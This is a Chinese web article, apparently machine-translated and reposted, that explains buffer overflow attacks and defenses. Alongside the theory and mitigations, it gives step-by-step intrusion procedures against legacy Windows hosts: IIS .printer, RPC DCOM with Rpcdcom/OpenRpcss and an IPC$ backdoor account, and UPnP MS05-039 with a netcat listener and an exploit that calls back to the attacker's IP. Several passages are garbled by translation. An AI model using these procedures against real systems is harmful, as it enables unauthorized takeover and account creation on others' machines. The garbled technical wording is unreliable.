16004488
缓冲区溢出是一种非常常见且危险的漏洞,广泛存在于各种操作系统和应用软件中。利用缓冲区溢出进行攻击会导致程序失败、系统停机、重启等后果。更严重的是,黑客利用它执行未经授权的指令,甚至获得系统特权,然后进行各种非法操作。
一、缓冲区溢出的介绍
缓冲区溢出是指计算机程序填充到缓冲区中的数据位数量超过了缓冲区本身的容量。理想情况下,程序会检查数据长度,并且不允许您输入超过缓冲区长度的字符串。但在大多数程序中,假设的数据长度与分配的存储空间空不匹配,为缓冲区溢出埋下隐患。
在每个操作过程之间,指令临时存储在堆栈中,堆栈中会出现缓冲区溢出。当一个超长的数据进入缓冲区时,多余的数据将被写入其他缓冲区,这些缓冲区可能存储数据、指向下一条指令的指针或其他程序的输出内容,这些内容将被覆盖或销毁。可以看出,数据或一组指令的溢出可能导致程序或操作系统崩溃。
黑客经常试图制造溢出。他们可以写一个超过缓冲区长度的字符串,并将其植入缓冲区,然后将一个超长的字符串植入空之间的有限缓冲区。此时,可能会出现以下两种结果:
这是一种常见的溢出方法。每当调用一个函数时,激活记录会留在堆栈中,其中包含函数结束时返回的地址。通过溢出这些自动变量,攻击者使这个返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序跳转到攻击者设置的地址,而不是原来的地址。
在C语言中,void(*foo)()声明一个变量foo,其返回值是指向void函数的指针。函数指针可以用来定位任意地址空,所以攻击者只需要在任意地址空的函数指针附近找到一个溢出缓冲区,然后溢出这个缓冲区来改变函数指针。在某个时刻,当程序通过函数指针调用一个函数时,程序的流程就按照攻击者的意图转移。
C语言中包含了一个简单的检查/恢复系统setjmp/longjmp。它的作用是在检查点设置setjmp(buffer),使用longjmp(buffer)恢复检查点。但是,如果攻击者能够进入缓冲区的空之间,那么long MP(buffer)实际上就是跳转到攻击者的代码。就像函数指针一样,longjmp缓冲区可以指向任何地方,所以攻击者所要做的就是找到一个缓冲区来溢出。
3.集成代码植入和过程控制技术
攻击缓冲区溢出时,往往需要在一个字符串中集成代码植入和激活记录。攻击者需要定位一个可以溢出的自动变量,然后将一个大字符串传递给程序,这样就可以造成缓冲区溢出,改变激活记录,同时植入代码。代码注入和缓冲区溢出不必在一个动作中完成。攻击者可以将代码放入缓冲区,但不能使缓冲区溢出。然后,攻击者通过溢出另一个缓冲区来转移程序的指针。这种方法一般用于解决可用于溢出的缓冲区不够大的问题。
如果攻击者想要使用现有代码而不是从外部植入代码,他必须首先对代码进行参数化。例如,libc中的一些代码段将执行exec(某些),其中有些是参数。攻击者利用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的某个特定代码段。
三、缓冲区溢出攻击防御
因为缓冲区溢出攻击可能会带来严重的后果,所以应该采取措施来防御缓冲区溢出攻击。目前,有几种方法可以保护缓冲区免受缓冲区溢出的攻击和影响。
1、写出正确的代码
编写正确的代码,尤其是像C语言这样容易出错的程序,是一项很有意义但很费时的任务。虽然人们花了很长时间才知道如何编写安全程序,但仍然出现了具有安全漏洞的程序。因此,有必要开发一些工具和技术来帮助没有经验的程序员编写安全正确的程序。
2.非执行缓冲区
通过使被攻击程序的数据段地址空不可执行,攻击者就不可能执行植入被攻击程序输入缓冲区的代码。这项技术被称为非执行缓冲技术。但Windows系统为了达到更好的性能和功能,往往会动态地将可执行代码放入数据段中。但是为了保持程序的兼容性,不可能让所有程序的数据段都不可执行,所以缓冲区漏洞依然存在。
3.数组边界检查
这种方法与非执行缓冲区的区别在于,数组边界检查完全将缓冲区溢出的产生和攻击置于脑后。所以只要数组不溢出,溢出攻击就无从谈起。为了检查阵列边界,应该检查阵列上的所有读和写操作,以确保阵列上的操作在正确的范围内。最直接的方法是检查所有的数组操作,但是通常可以使用一些优化技术来减少检查的次数。
4、程序指针完整性检查
程序指针完整性检查与边界检查略有不同:程序指针完整性检查在引用之前检测程序指针的变化。即使攻击者成功地更改了程序的指针,指针也不会被使用,因为系统已经提前检测到了指针的更改。程序指针完整性检查并不能解决所有的缓冲区溢出问题,但是这种方法在性能上有很大的优势,兼容性也很好。
第四,对IIS.printer缓冲区溢出漏洞的攻击
缓冲区溢出攻击是远程网络攻击中最常见的攻击之一,它可以使匿名互联网用户有机会获得对主机的部分或全部控制。如果能有效消除缓冲区溢出漏洞,就能缓解很大一部分安全威胁。
IIS.printer漏洞(应用程序映射缓冲区溢出)是一种流行的漏洞,目前在国内外很多计算机上仍然存在。该漏洞仅存在于运行IIS 5.0的服务器中,因为IIS 5打印ISAPI扩展接口在。打印机扩展和Msw3prt.dll(默认情况下也存在此映射)。
当远程用户提交对的网址请求时。打印机,IIS 5.0调用Msw3prt.dll文件来解释请求,但是Msw3prt.dll缺乏足够的缓冲区边界检查。如果黑客提交了一个精心构建的网址请求。打印机及其“主机:”字段包含大约420B数据,典型的缓冲区溢出将发生在Msw3prt.dll。溢出发生后,Web服务会停止用户的响应,计算机会自动重启,系统管理员很难检查已经发生的攻击。
1.漏洞检测
您可以使用特殊的扫描工具来扫描目标主机。从扫描结果可以看出是否存在. printer缓冲区溢出漏洞。
扫描用于扫描远程主机。打印机缓冲区漏洞。具体操作步骤如下。
第一步:双击X-Scan_gui主应用,打开X-Scan主窗口,可以浏览该软件的功能介绍、常见问题等信息,如图2所示。
图2 X光扫描主窗口
第二步:在X-scan主窗口中选择菜单项“设置”→“扫描参数”,或点击工具栏中的按钮,打开“扫描参数”窗口。您可以输入目标主机的IP地址或IP段的扫描范围,如图3所示。
图3“扫描参数”窗口
第三步:选择菜单项“全局设置”→“扫描模块”,打开“扫描模块”窗口,可以选择要扫描的模块并进行相应设置,如图4所示。设置完成后点击“确定”按钮,扫描参数的设置即可完成。
图4设置扫描模块
第四步:点击工具栏中的“开始”按钮,开始扫描主机,如图5所示。如果另一台主机有. printer漏洞,则"发现IIS远程。“命令提示符”窗口中将出现“打印机溢出bug ”!!!“提示信息。
图5扫描目标计算机
2.利用漏洞
如果目标主机存在. printer漏洞,就有可能被利用。可以使用IIShack5.0打开远程计算机的端口,在获得远程主机的系统权限后,创建一个后门账户,检查其权限,从而实现对计算机的完全控制。
3.预防措施
因为此漏洞是带有。打印机后缀,它将被发送到具有msw3prt.dll溢出漏洞的文件。为了避免这种危险,您可以删除。打印机映射。
具体操作步骤如下。
第一步:选择菜单项“开始”→“控制面板”,打开“控制面板”窗口。双击管理工具图标,打开管理工具窗口。双击互联网信息服务图标,打开互联网信息服务窗口。
第二步:右键点击默认网站图标,从快捷菜单中选择属性,打开默认网站属性对话框,如图6所示。
图6默认网站属性对话框
第三步:点击主目录选项卡中的配置按钮,打开应用程序配置对话框,如图7所示。找到。应用程序映射列表中的打印机映射,并直接删除它。
图7“工作室程序配置”对话框
动词 (verb的缩写)RPC缓冲区溢出攻击
微软的RPC(远程过程调用)是一个通过TCP/IP进行信息交换的漏洞,它是由于对格式错误的信息处理不当造成的,影响了使用RPC的DCOM接口。此接口处理客户端计算机发送到服务器的DCOM对象激活请求。攻击者可以利用此漏洞安装程序、查看、更改、建立具有系统管理员权限的帐户,以及以本地系统权限删除数据。
其中,分布式对象(DCOM)是一种使软件组件能够通过网络直接通信的协议,并且可以通过互联网协议(HTTP)等各种网络进行传输。
1.漏洞检测
RPC漏洞扫描器视网膜(r)–DCOM扫描仪可用于检测此类漏洞。这是一个由eEye安全公司为微软MS03-026和最新的MS03-039 RPC DCOM漏洞设计的扫描工具。
用该软件扫描RPC漏洞的具体操作步骤如下。
第一步:运行Retina(r)–DCOM扫描仪主程序,打开Retina(r)–DCOM扫描仪主窗口,在开始IP文本框和结束IP文本框中分别输入开始IP地址和结束IP地址,如图8所示。
图8视网膜——DCOM扫描仪主窗口
第二步:点击扫描按钮开始扫描,如图9所示。如果在设置的IP范围内有一台主机存在RPC漏洞,该主机的详细信息将出现在扫描结果中。
图9设置扫描的IP范围
2.漏洞利用
RPC溢出漏洞带来严重危害。比如著名的基于RPC漏洞的病毒“冲击波”,可以导致目标计算机反复重启系统,无法正常复制文件和浏览网站、DNS、IIS、路由器等。被非法拒绝服务攻击,甚至整个网络系统瘫痪。
有两种利用工具:Rpcdcom和OpenRpcss。利用Rpcdcom向远程主机发送格式错误的数据包,然后利用OpenRpcss攻击远程主机,最后在远程主机中建立管理员帐号。
Rpcdcom命令格式:Rpcdcom服务器
OpenRpcss命令格式:OpenRpcssServer
使用这两种工具入侵存在RPC漏洞的主机的具体步骤如下。
第一步:使用“带有Rpcdcom漏洞的远程主机的IP地址”命令向远程主机发送格式错误的数据。
第二步:使用“OpenRpcss.exe中易受攻击的远程主机的IP地址”命令在远程主机中建立管理员帐户。
第三步:在远程主机上成功建立管理员帐号后,使用“IP地址IPC$”密码/用户:“网络使用中存在漏洞的远程主机的用户名”命令,证明管理员帐号是否通过IPC$“管道连接”成功创建。
3.防止漏洞
黑客可以利用RPC漏洞向远程服务器监控的特定RPC端口发送格式错误的请求,如135、139、445和其他配置有RPC端口的计算机。受到攻击时,Windows系统会出现蓝屏,重启并自动关机。有两种方法可以防止RPC漏洞攻击。
(1)更改RPC服务设置。在Windows系统中,可以通过设置相关服务来防止RPC缓冲区溢出攻击。具体操作步骤如下。
步骤1:双击管理工具窗口中的服务图标,打开服务窗口。您可以看到该机器中的所有服务,如图10所示。在服务列表中,右键单击远程过程教育调用(RPC)服务,并在快捷菜单中选择属性选项,以打开远程过程教育调用(RPC)(本地计算机)的属性对话框。
图10服务窗口
第二步:切换到“恢复”选项卡,将“第一次失败”、“第二次失败”和“后续失败”设置为“不操作”选项,如图11所示。
图11属性对话框
(2)安装微软提供的RPC补丁。
第六,即插即用功能远程控制缓冲区溢出漏洞
UPnP(通用即插即用)是一种常见的点对点网络连接架构,适用于个人电脑和智能设备(或仪器),特别适合家庭使用。它允许不同的设备(如计算机、扫描仪、打印机等。)连接成网络,并能自动识别和相互通信,这样用户就不需要为每个外设配置计算机。
但是UPnP并不检查和限制Buffer的使用,Buffer可以被黑客用来控制同一网络上的计算机或者发动DoS攻击。更有甚者,同一个网络中的其他用户甚至可以在不知道这台计算机的IP地址的情况下攻击它。这个缺陷的后果非常严重。无论哪个版本的Windows系统运行UPnP,都有这个危险。
但严格来说,这不是UPnP技术本身的问题,而是编程的疏忽。UPnP协议存在安全漏洞,最早是由eEye数字安全公司发现并通知微软的。UPnP缓冲区溢出是Windows历史上最严重的缓冲区溢出漏洞。
1.漏洞检测
您可以使用MS05-039扫描工具来检测这种漏洞,这是一种针对微软视窗即插即用功能远程缓冲区溢出漏洞的专用扫描工具。
仅仅检测远程主机的漏洞远远不够。需要X-Scan扫描远程主机,以获取远程主机上使用的Windows操作系统类型等信息。
2.漏洞利用
如果检测到UPnP缓冲区溢出漏洞,可以使用特殊工具攻击目标计算机。入侵过程中使用的工具是ms05039.exe,其命令格式如下:
ms05039.exe<。主机>;& ltconIP>。& ltconPort>。[目标]
每个参数的含义如下。
主机:远程主机的IP地址或远程主机名。
ConIP:本地IP地址。
成功溢出后远程主机的端口号。
目标:选择操作系统类型。
具体操作步骤如下。
第一步:在MS05-039Scan主窗口输入远程主机IP的起始地址和结束地址,点击按钮将输入的IP地址添加到扫描范围,如图12所示。
图12设置扫描的IP范围
第二步:点击按钮开始扫描远程主机,找到带有Windows即插即用远程缓冲区溢出漏洞的远程主机,如图13所示。
图13扫描结果
步骤3:使用X-Scan扫描易受攻击的远程主机,并检查其主机类型。在“命令提示符”窗口中输入nc.exe工具所在的目录,并在其中输入NC-1–p 7755进入监听状态(7755代表打开端口号进行本地监听)。
步骤4:在“命令提示符”窗口中输入ms05039.exe所在的目录后,输入命令“ms05039 . exe易受攻击的远程主机IP本地机器IP 77551”以向远程主机添加帐户。如果账号添加成功,说明您已经获得管理员权限。
身份证:计算机网络
1.《缓冲区溢出 缓冲区溢出攻击》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《缓冲区溢出 缓冲区溢出攻击》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/caijing/1163850.html